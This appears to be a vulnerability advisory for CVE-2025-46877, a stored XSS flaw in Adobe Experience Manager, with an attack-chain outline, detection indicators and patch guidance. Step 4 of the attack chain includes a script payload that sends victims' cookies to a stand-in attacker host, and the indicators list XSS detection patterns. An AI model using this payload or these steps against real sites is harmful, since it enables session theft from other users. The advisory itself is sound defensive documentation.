CVE-2025-46877: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46877 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads into vulnerable form fields within AEM, which are then stored server-side and rendered without proper sanitization or output encoding when other users visit the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) and low-level authenticated access to submit content, but no elevated privileges are needed beyond a basic account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits the page containing the injected payload, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of web content. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users' browsers. While availability is not directly impacted, confidentiality and integrity are both rated as low, reflecting the risk of data exposure and page manipulation (Adobe Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using version disclosure in HTTP headers, login pages, or public asset paths.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept user-submitted content (e.g., text fields, rich text editors, or comment forms) that lack proper input sanitization.
4. Inject malicious payload: Submit a stored XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent event-handler-based payload.
5. Wait for victim interaction: When an authenticated user (e.g., an administrator or another author) browses to the page containing the injected content, the malicious script executes in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or pivot to further attacks using the victim's elevated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onmouseover) stored within AEM JCR content nodes or page properties, detectable via repository inspection or content audits.
• Process/Browser: Unexpected redirects or resource loads to external domains triggered when browsing AEM-authored pages.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premises deployments to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding on all user-submitted content, restrict content authoring privileges to trusted users, and regularly audit stored content for suspicious scripts. Monitoring form field inputs for script injection patterns is also recommended (Adobe Advisory).

The CIS (Center for Internet Security) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, flagging the potential for code execution-class impacts across the Adobe product suite (CIS Advisory). Tenable also tracked this vulnerability in their plugin pipeline. No significant independent researcher commentary or social media discussion has been identified beyond standard vulnerability aggregation coverage.